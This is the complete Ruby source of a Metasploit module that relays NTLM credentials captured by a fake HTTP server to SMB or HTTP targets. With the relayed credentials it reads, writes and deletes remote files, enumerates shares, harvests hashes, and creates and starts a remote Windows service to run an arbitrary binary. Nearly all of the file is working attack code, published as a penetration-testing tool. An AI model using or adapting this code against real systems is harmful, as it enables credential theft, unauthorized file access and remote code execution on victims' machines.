rapid7/metasploit-framework

View on GitHub
modules/auxiliary/server/http_ntlmrelay.rb

Summary

Maintainability
B
6 hrs
Test Coverage
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/exceptions'


NTLM_CONST = Rex::Proto::NTLM::Constants
NTLM_CRYPT = Rex::Proto::NTLM::Crypt
MESSAGE = Rex::Proto::NTLM::Message

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Auxiliary::Report

  # Aliases for common classes
  XCEPT  = Rex::Proto::SMB::Exceptions
  CONST  = Rex::Proto::SMB::Constants
  NDR = Rex::Encoder::NDR

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'HTTP Client MS Credential Relayer',
      'Description' => %q{
          This module relays negotiated NTLM Credentials from an HTTP server to multiple
          protocols. Currently, this module supports relaying to SMB and HTTP.

          Complicated custom attacks requiring multiple requests that depend on each
          other can be written using the SYNC* options. For example, a CSRF-style
          attack might first set an HTTP_GET request with a unique SNYNCID and set
          an HTTP_POST request with a SYNCFILE, which contains logic to look
          through the database and parse out important values, such as the CSRF token
          or authentication cookies, setting these as configuration options, and finally
          create a web page with iframe elements pointing at the HTTP_GET and HTTP_POSTs.
        },
      'Author'      =>
        [
          'Rich Lundeen <richard.lundeen[at]gmail.com>',
        ],
      'License'     => MSF_LICENSE,
      'Actions'     =>
        [
          [ 'WebServer', 'Description' => 'Start web server waiting for incoming authenticated connections' ]
        ],
      'PassiveActions' =>
        [
          'WebServer'
        ],
      'DefaultAction'  => 'WebServer'))

    register_options([
      OptBool.new('RSSL', [true, "SSL on the remote connection ", false]),
      OptEnum.new('RTYPE', [true, "Type of action to perform on remote target", "HTTP_GET",
        [   "HTTP_GET", "HTTP_POST", "SMB_GET", "SMB_PUT", "SMB_RM", "SMB_ENUM",
          "SMB_LS", "SMB_PWN" ]]),
      OptString.new('RURIPATH', [true, "The path to relay credentials ", "/"]),
      OptString.new('PUTDATA', [false, "This is the HTTP_POST or SMB_PUT data" ]),
      OptPath.new('FILEPUTDATA', [false, "PUTDATA, but specified by a local file" ]),
      OptPath.new('SYNCFILE', [false, "Local Ruby file to eval dynamically" ]),
      OptString.new('SYNCID', [false, "ID to identify a request saved to db" ]),

    ])

    register_advanced_options([
      OptPath.new('RESPPAGE', [false,
        'The file used for the server response. (Image extensions matter)', nil]),
      OptPath.new('HTTP_HEADERFILE', [false,
        'File specifying extra HTTP_* headers (cookies, multipart, etc.)', nil]),
      OptString.new('SMB_SHARES', [false, 'The shares to check with SMB_ENUM',
              'IPC$,ADMIN$,C$,D$,CCMLOGS$,ccmsetup$,share,netlogon,sysvol'])
    ])

    deregister_options('DOMAIN', 'NTLM::SendLM', 'NTLM::SendSPN', 'NTLM::SendNTLM', 'NTLM::UseLMKey',
      'NTLM::UseNTLM2_session', 'NTLM::UseNTLMv2')
  end

  # Handles the initial requests waiting for the browser to try NTLM auth
  def on_request_uri(cli, request)

    case request.method
    when 'OPTIONS'
      process_options(cli, request)
    else
      cli.keepalive = true;

      # If the host has not started auth, send 401 authenticate with only the NTLM option
      if(!request.headers['Authorization'])
        response = create_response(401, "Unauthorized")
        response.headers['WWW-Authenticate'] = "NTLM"
        response.headers['Proxy-Support'] = 'Session-Based-Authentication'

        response.body =
          "<HTML><HEAD><TITLE>You are not authorized to view this page</TITLE></HEAD></HTML>"

        cli.send_response(response)
        return false
      end
      method,hash = request.headers['Authorization'].split(/\s+/,2)
      # If the method isn't NTLM something odd is going on.
      # Regardless, this won't get what we want, 404 them
      if(method != "NTLM")
        print_status("Unrecognized Authorization header, responding with 404")
        send_not_found(cli)
        return false
      end

      print_status("NTLM Request '#{request.uri}' from #{cli.peerhost}:#{cli.peerport}")

      if (datastore['SYNCFILE'] != nil)
        sync_options()
      end

      handle_relay(cli,hash)
    end
  end

  def run
    parse_args()
    exploit()
  end

  def process_options(cli, request)
    print_status("OPTIONS #{request.uri}")
    headers = {
      'MS-Author-Via' => 'DAV',
      'DASL'          => '<DAV:sql>',
      'DAV'           => '1, 2',
      'Allow'         => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
      'Public'        => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
      'Cache-Control' => 'private'
    }
    resp = create_response(207, "Multi-Status")
    headers.each_pair {|k,v| resp[k] = v }
    resp.body = ""
    resp['Content-Type'] = 'text/xml'
    cli.send_response(resp)
  end

  # The call to handle_relay should be a victim HTTP type 1 request
  def handle_relay(cli_sock, hash)
    print_status("Beginning NTLM Relay...")
    message = Rex::Text.decode_base64(hash)
    # get type of message, which will be HTTP, SMB, ...
    protocol = datastore['RTYPE'].split('_')[0]
    if(message[8,1] != "\x03")
      # Relay NTLMSSP_NETOTIATE from client to server (type 1)
      case protocol
        when 'HTTP'
          resp, ser_sock = http_relay_toserver(hash)
          if resp.headers["WWW-Authenticate"]
            t2hash = resp.headers["WWW-Authenticate"].split(" ")[1]
          else
            print_error "#{rhost} is not requesting authentication."
            cli_sock.close
            ser_sock.close
            return false
          end
        when 'SMB'
          t2hash, ser_sock = smb_relay_toservert1(hash)
      end
      # goes along with above, resp is now just the hash
      client_respheader = "NTLM " << t2hash

      # Relay NTLMSSP_CHALLENGE from server to client (type 2)
      response = create_response(401, "Unauthorized")
      response.headers['WWW-Authenticate'] = client_respheader
      response.headers['Proxy-Support'] = 'Session-Based-Authentication'

      response.body =
        "<HTML><HEAD><TITLE>You are not authorized to view this page</TITLE></HEAD></HTML>"

      cli_sock.send_response(response)

      # Get the type 3 hash from the client and relay to the server
      cli_type3Data = cli_sock.get_once(-1, 5)
      begin
        cli_type3Header = cli_type3Data.split(/\r\nAuthorization:\s+NTLM\s+/,2)[1]
        cli_type3Hash = cli_type3Header.split(/\r\n/,2)[0]
      rescue ::NoMethodError
        print_error("Error: Type3 hash not relayed.")
        cli_sock.close()
        return false
      end
      case protocol
        when 'HTTP'
          resp, ser_sock = http_relay_toserver(cli_type3Hash, ser_sock)
        when 'SMB'
          ser_sock = smb_relay_toservert3(cli_type3Hash, ser_sock)
          # perform authenticated action
          action = datastore['RTYPE'].split('_')[1]
          case action
            when 'GET'
              resp = smb_get(ser_sock)
            when 'PUT'
              resp = smb_put(ser_sock)
            when 'RM'
              resp = smb_rm(ser_sock)
            when 'ENUM'
              resp = smb_enum(ser_sock)
            when 'LS'
              resp = smb_ls(ser_sock)
            when 'PWN'
              resp = smb_pwn(ser_sock, cli_sock)
          end
      end
      report_info(resp, cli_type3Hash)

      # close the client socket
      response = set_cli_200resp()
      cli_sock.send_response(response)
      cli_sock.close()
      if protocol == 'HTTP'
        ser_sock.close()
      end
      return
    else
      print_error("Error: Bad NTLM sent from victim browser")
      cli_sock.close()
      return false
    end
  end

  def parse_args()
    # Consolidate the PUTDATA and FILEPUTDATA options into FINALPUTDATA
    if datastore['PUTDATA'] != nil and datastore['FILEPUTDATA'] != nil
      print_error("PUTDATA and FILEPUTDATA cannot both contain data")
      raise ArgumentError
    elsif datastore['PUTDATA'] != nil
      @finalputdata = datastore['PUTDATA']
    elsif datastore['FILEPUTDATA'] != nil
      f = File.open(datastore['FILEPUTDATA'], "rb")
      @finalputdata = f.read
      f.close
    end

    if (not framework.db.active) and (not datastore['VERBOSE'])
      print_error("No database configured and verbose disabled, info may be lost. Continuing")
    end
  end

  # sync_options dynamically changes the arguments of a running attack
  # this is useful for multi staged relay attacks
  # ideally I would use a resource file but it's not easily exposed, and this is simpler
  def sync_options()
    print_status("Dynamically eval()'ing local ruby file: #{datastore['SYNCFILE']}")
    # previous request might create the file, so error thrown at runtime
    if not ::File.readable?(datastore['SYNCFILE'])
      print_error("SYNCFILE unreadable, aborting")
      raise ArgumentError
    end
    data = ::File.read(datastore['SYNCFILE'])
    eval(data) # WARNING: This can be insanely insecure!
  end

  # relay creds to server and perform any HTTP specific attacks
  def http_relay_toserver(hash, ser_sock = nil)
    timeout = 20
    type3 = (ser_sock == nil ? false : true)

    method = datastore['RTYPE'].split('_')[1]
    theaders = ('Authorization: NTLM ' << hash << "\r\n" <<
          "Connection: Keep-Alive\r\n" )

    # HTTP_HEADERFILE is how this module supports cookies, multipart forms, etc
    if datastore['HTTP_HEADERFILE'] != nil
      print_status("Including extra headers from: #{datastore['HTTP_HEADERFILE']}")
      # previous request might create the file, so error thrown at runtime
      if not ::File.readable?(datastore['HTTP_HEADERFILE'])
        print_error("HTTP_HEADERFILE unreadable, aborting")
        raise ArgumentError
      end
      # read file line by line to deal with any dos/unix ending ambiguity
      File.readlines(datastore['HTTP_HEADERFILE']).each do|header|
        next if header.strip == ''
        theaders << (header) << "\r\n"
      end
    end

    opts = {
    'uri'     => normalize_uri(datastore['RURIPATH']),
    'method'  => method,
    'version' => '1.1',
    }
    if (@finalputdata != nil)
      # we need to get rid of an extra "\r\n"
      theaders = theaders[0..-3]
      opts['data'] = @finalputdata << "\r\n\r\n"
    end
    opts['SSL'] = true if datastore["RSSL"]
    opts['raw_headers'] = theaders

    ser_sock = connect(opts) if !type3

    r = ser_sock.request_raw(opts)
    resp = ser_sock.send_recv(r, opts[:timeout] ? opts[:timeout] : timeout, true)

    # Type3 processing
    if type3
      # check if auth was successful
      if resp.code == 401
        print_error("Auth not successful, returned a 401")
      else
        print_good("Auth successful, saving server response in database")
      end
      vprint_status(resp.to_s)
    end
    return [resp, ser_sock]
  end

  # relay ntlm type1 message for SMB
  def smb_relay_toservert1(hash)
    rsock = Rex::Socket::Tcp.create(
      'PeerHost' => datastore['RHOST'],
      'PeerPort' => datastore['RPORT'],
      'Timeout'  => 3,
      'Context'  =>
        {
          'Msf'       => framework,
          'MsfExploit'=> self,
        }
    )
    if (not rsock)
      print_error("Could not connect to target host (#{target_host})")
      return
    end
    ser_sock = Rex::Proto::SMB::SimpleClient.new(rsock, rport == 445 ? true : false, [1])

    if (datastore['RPORT'] == '139')
      ser_sock.client.session_request()
    end

    blob = Rex::Proto::NTLM::Utils.make_ntlmssp_secblob_init('', '', 0x80201)
    ser_sock.client.negotiate(true)
    ser_sock.client.require_signing = false
    resp = ser_sock.client.session_setup_with_ntlmssp_blob(blob, false)
    resp = ser_sock.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true)

    # Save the user_ID for future requests
    ser_sock.client.auth_user_id = resp['Payload']['SMB'].v['UserID']

    begin
      #lazy ntlmsspblob extraction
      ntlmsspblob = 'NTLMSSP' <<
              (resp.to_s().split('NTLMSSP')[1].split("\x00\x00Win")[0]) <<
              "\x00\x00"
    rescue ::Exception => e
      print_error("Type 2 response not read properly from server")
      raise e
    end
    ntlmsspencodedblob = Rex::Text.encode_base64(ntlmsspblob)
    return [ntlmsspencodedblob, ser_sock]
  end

  # relay ntlm type3 SMB message
  def smb_relay_toservert3(hash, ser_sock)
    # arg = get_hash_info(hash)
    dhash = Rex::Text.decode_base64(hash)

    # Create a GSS blob for ntlmssp type 3 message, encoding the passed hash
    blob =
      "\xa1" + Rex::Proto::NTLM::Utils.asn1encode(
        "\x30" + Rex::Proto::NTLM::Utils.asn1encode(
          "\xa2" + Rex::Proto::NTLM::Utils.asn1encode(
            "\x04" + Rex::Proto::NTLM::Utils.asn1encode(
              dhash
            )
          )
        )
      )

    resp = ser_sock.client.session_setup_with_ntlmssp_blob(
        blob,
        false,
        ser_sock.client.auth_user_id
      )
    resp = ser_sock.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true)

    # check if auth was successful
    if (resp['Payload']['SMB'].v['ErrorClass'] == 0)
      print_status("SMB auth relay succeeded")
    else
      failure = Rex::Proto::SMB::Exceptions::ErrorCode.new
      failure.word_count = resp['Payload']['SMB'].v['WordCount']
      failure.command = resp['Payload']['SMB'].v['Command']
      failure.error_code = resp['Payload']['SMB'].v['ErrorClass']
      raise failure
    end
    return ser_sock
  end

  # gets a specified file from the drive
  def smb_get(ser_sock)
    share, path = datastore['RURIPATH'].split('\\', 2)
    path = path
    ser_sock.client.tree_connect(share)
    ser_sock.client.open("\\" << path, 0x1)
    resp = ser_sock.client.read()
    print_status("Reading #{resp['Payload'].v['ByteCount']} bytes from #{datastore['RHOST']}")
    vprint_status("----Contents----")
    vprint_status(resp["Payload"].v["Payload"])
    vprint_status("----End Contents----")
    ser_sock.client.close()
    return resp["Payload"].v["Payload"]
  end

  # puts a specified file
  def smb_put(ser_sock)
    share, path = datastore['RURIPATH'].split('\\', 2)
    path = path
    ser_sock.client.tree_connect(share)

    fd = ser_sock.open("\\#{path}", 'rwct')
    fd << @finalputdata
    fd.close

    logdata = "File \\\\#{datastore['RHOST']}\\#{datastore['RURIPATH']} written"
    print_status(logdata)
    return logdata
  end

  # deletes a file from a share
  def smb_rm(ser_sock)
    share, path = datastore['RURIPATH'].split('\\', 2)
    path = path
    ser_sock.client.tree_connect(share)
    ser_sock.client.delete('\\' << path)
    logdata = "File \\\\#{datastore['RHOST']}\\#{datastore['RURIPATH']} deleted"
    print_status(logdata)
    return logdata
  end

  # smb share enumerator, overly simplified, just tries connecting to configured shares
  # This could be improved by using techniques from SMB_ENUMSHARES
  def smb_enum(ser_sock)
    shares = []
    datastore["SMB_SHARES"].split(",").each do |share_name|
      begin
        ser_sock.client.tree_connect(share_name)
        shares << share_name
      rescue
        next
      end
    end
    print_status("Shares enumerated #{datastore["RHOST"]} #{shares.to_s()}")
    return shares
  end

  # smb list directory
  def smb_ls(ser_sock)
    share, path = datastore['RURIPATH'].split('\\', 2)
    ser_sock.client.tree_connect(share)
    files = ser_sock.client.find_first(path << "\\*")

    print_status(
      "Listed #{files.length} files from #{datastore["RHOST"]}\\#{datastore["RURIPATH"]}"
    )

    if datastore["VERBOSE"]
      files.each {|filename| print_status("    #{filename[0]}")}
    end
    return files
  end

  # start a service. This method copies a lot of logic/code from psexec (and smb_relay)
  def smb_pwn(ser_sock, cli_sock)

    # filename is a little finicky, it needs to be in a format like
    # "%SystemRoot%\\system32\\calc.exe" or "\\\\host\\c$\\WINDOWS\\system32\\calc.exe
    filename = datastore['RURIPATH']

    ser_sock.connect("IPC$")
    opts = {
      'Msf' => framework,
      'MsfExploit' => self,
      'smb_pipeio' => 'rw',
      'smb_client' => ser_sock
    }
    uuidv = ['367abb81-9844-35f1-ad32-98f038001003', '2.0']
    handle = Rex::Proto::DCERPC::Handle.new(uuidv, 'ncacn_np', cli_sock.peerhost, ["\\svcctl"])
    dcerpc = Rex::Proto::DCERPC::Client.new(handle, ser_sock.socket, opts)

    print_status("Obtraining a service manager handle...")
    stubdata =
      NDR.uwstring("\\\\#{datastore["RHOST"]}") +
      NDR.long(0) +
      NDR.long(0xF003F)
    begin
      response = dcerpc.call(0x0f, stubdata)
      if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
        scm_handle = dcerpc.last_response.stub_data[0,20]
      end
    rescue ::Exception => e
      print_error("Error: #{e}")
      return
    end

    print_status("Creating a new service")

    servicename = Rex::Text::rand_text_alpha(8)
    displayname = Rex::Text::rand_text_alpha(rand(32)+1)
    svc_handle = nil

    stubdata =
      scm_handle +
      NDR.wstring(servicename) +
      NDR.uwstring(displayname) +
      NDR.long(0x0F01FF) + # Access: MAX
      NDR.long(0x00000110) + # Type: Interactive, Own process
      NDR.long(0x00000003) + # Start: Demand
      NDR.long(0x00000000) + # Errors: Ignore

      NDR.wstring(filename) + # Binary Path
      NDR.long(0) + # LoadOrderGroup
      NDR.long(0) + # Dependencies
      NDR.long(0) + # Service Start
      NDR.long(0) + # Password
      NDR.long(0) + # Password
      NDR.long(0) + # Password
      NDR.long(0)   # Password

    begin
        response = dcerpc.call(0x0c, stubdata)
        if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
            svc_handle = dcerpc.last_response.stub_data[0,20]
            #svc_status = dcerpc.last_response.stub_data[24,4]
        end
    rescue ::Exception => e
        print_error("Error: #{e}")
        return
    end

    print_status("Closing service handle...")
    begin
      response = dcerpc.call(0x0, svc_handle)
    rescue ::Exception
    end

    print_status("Opening service...")
    begin
      stubdata =
          scm_handle +
          NDR.wstring(servicename) +
          NDR.long(0xF01FF)

      response = dcerpc.call(0x10, stubdata)
      if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
        svc_handle = dcerpc.last_response.stub_data[0,20]
      end
    rescue ::Exception => e
      print_error("Error: #{e}")
      return
    end

    print_status("Starting the service...")
    stubdata =
      svc_handle +
      NDR.long(0) +
      NDR.long(0)
    begin
      response = dcerpc.call(0x13, stubdata)
      if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
      end
    rescue ::Exception => e
      return
    end

    print_status("Removing the service...")
    stubdata =
      svc_handle
    begin
      response = dcerpc.call(0x02, stubdata)
      if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
      end
    rescue ::Exception => e
      print_error("Error: #{e}")
    end

    print_status("Closing service handle...")
    begin
      response = dcerpc.call(0x0, svc_handle)
    rescue ::Exception => e
      print_error("Error: #{e}")
    end

    ser_sock.disconnect("IPC$")
  end

  # print status, and add to the info database
  def report_info(resp, type3_hash)
    data = get_hash_info(type3_hash)

    # no need to generically always grab everything, but grab common config options
    # and the response, some may be set to nil and that's fine
    data[:protocol] = datastore['RTYPE']
    data[:RHOST] = datastore['RHOST']
    data[:RPORT] = datastore['RPORT']
    data[:RURI] = datastore['RURIPATH']
    data[:SYNCID] = datastore['SYNCID']
    data[:Response] = resp

    report_note(
      :host => data[:ip],
      :type => 'ntlm_relay',
      :update => 'unique_data',
      :data => data
    )
  end

  # mostly taken from http_ntlm module handle_auth function
  def get_hash_info(type3_hash)
    # authorization string is base64 encoded message
    domain,user,host,lm_hash,ntlm_hash = MESSAGE.process_type3_message(type3_hash)
    nt_len = ntlm_hash.length

    if nt_len == 48 #lmv1/ntlmv1 or ntlm2_session
      arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,
        :lm_hash => lm_hash,
        :nt_hash => ntlm_hash
      }

      if arg[:lm_hash][16,32] == '0' * 32
        arg[:ntlm_ver] = NTLM_CONST::NTLM_2_SESSION_RESPONSE
      end
    # if the length of the ntlm response is not 24 then it will be bigger and represent
    # a ntlmv2 response
    elsif nt_len > 48 #lmv2/ntlmv2
      arg = { :ntlm_ver   => NTLM_CONST::NTLM_V2_RESPONSE,
        :lm_hash          => lm_hash[0, 32],
        :lm_cli_challenge => lm_hash[32, 16],
        :nt_hash          => ntlm_hash[0, 32],
        :nt_cli_challenge => ntlm_hash[32, nt_len  - 32]
      }
    elsif nt_len == 0
      print_status("Empty hash from #{host} captured, ignoring ... ")
    else
      print_status("Unknown hash type from #{host}, ignoring ...")
    end

    arg[:host] = host
    arg[:user] = user
    arg[:domain] = domain

    return arg
  end

  # function allowing some basic/common configuration in responses
  def set_cli_200resp()
    response = create_response(200, "OK")
    response.headers['Proxy-Support'] = 'Session-Based-Authentication'

    if (datastore['RESPPAGE'] != nil)
      begin
        respfile = File.open(datastore['RESPPAGE'], "rb")
        response.body = respfile.read
        respfile.close

        type = datastore['RESPPAGE'].split('.')[-1].downcase
        # images can be especially useful (e.g. in email signatures)
        case type
        when 'png', 'gif', 'jpg', 'jpeg'
          print_status('setting content type to image')
          response.headers['Content-Type'] = "image/" << type
        end
      rescue
        print_error("Problem processing respfile. Continuing...")
      end
    end
    if (response.body.empty?)
      response.body = "<HTML><HEAD><TITLE>My Page</TITLE></HEAD></HTML>"
    end
    return response
  end
end